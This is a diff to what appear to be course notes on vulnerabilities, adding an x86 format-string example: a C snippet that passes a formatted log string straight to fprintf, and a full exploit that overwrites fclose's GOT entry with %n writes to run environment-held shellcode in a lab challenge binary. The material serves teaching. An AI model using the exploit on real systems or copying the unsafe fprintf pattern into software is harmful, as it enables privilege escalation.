@@ -111,6 +111,61 @@ Y = 0xbd - len(address) - len(pad)
111111<img src =" /static/course/postgraduate/engineering/fmt.png " alt =" " />
112112</div >
113113
114+ Example (x86):
115+ 1 . Exploitable Code:
116+ ``` c
117+ FILE *f = NULL ;
118+ char log_entry[64 ];
119+
120+ f = fopen(" /var/sudolog" , " a+" );
121+ if (f == NULL ) {
122+ fprintf (stderr, "Can't open sudolog file\n");
123+ return -1;
124+ }
125+ snprintf (log_entry, 64, "1001: %s\n", command);
126+
127+ fprintf (f, log_entry);
128+ fclose (f);
129+ ```
130+
131+ 2. Exploit Code:
132+ ```c
133+ #define VULN "/var/challenge/level8/8"
134+
135+ extern char shellcode[];
136+
137+ // Hijack fclose() in .rel.plt
138+ // Relocation section '.rel.plt' at offset 0x3bc contains 11 entries:
139+ // Offset Info Type Sym.Value Sym. Name
140+ // 0804a010 00000207 R_386_JUMP_SLOT 00000000 fclose@GLIBC_2.1
141+ // shellcode address: 0xbfffffbd
142+ int main(int argc, char *argv[]) {
143+
144+ char fmt[] = "aa" // pad
145+ // address: inserted value
146+ "\x10\xa0\x04\x08" // 0804a010: bd
147+ "\x11\xa0\x04\x08" // 0804a011: ff
148+ "\x12\xa0\x04\x08" // 0804a012: ff
149+ "\x13\xa0\x04\x08" // 0804a013: bf
150+ "%166u%68$n" // 0xbd(expected value) -
151+ 16(address len) -
152+ 2(pad) -
153+ 6(additional chars in snprintf())
154+ "%66u%69$n" // 0xff - 0xbd (prev len)
155+ "%256u%70$n" // 0xff - 0xff
156+ "%192u%71$n"; // 0x100 + 0xbf - 0xff (0xbf < 0xff)
157+ char *invoke[] = {VULN, fmt, NULL};
158+ char *env[] = {shellcode, NULL};
159+
160+ unsigned int addr = 0xc0000000 - 8 - strlen(VULN) - 1 - strlen(shellcode) - 1;
161+ printf("Using address %08x\n", addr);
162+
163+ execve(invoke[0], invoke, env);
164+
165+ return 0;
166+ }
167+ ```
168+
114169# Other Vulnerabilities
115170## Array Overflow
116171User controlled index and value:
0 commit comments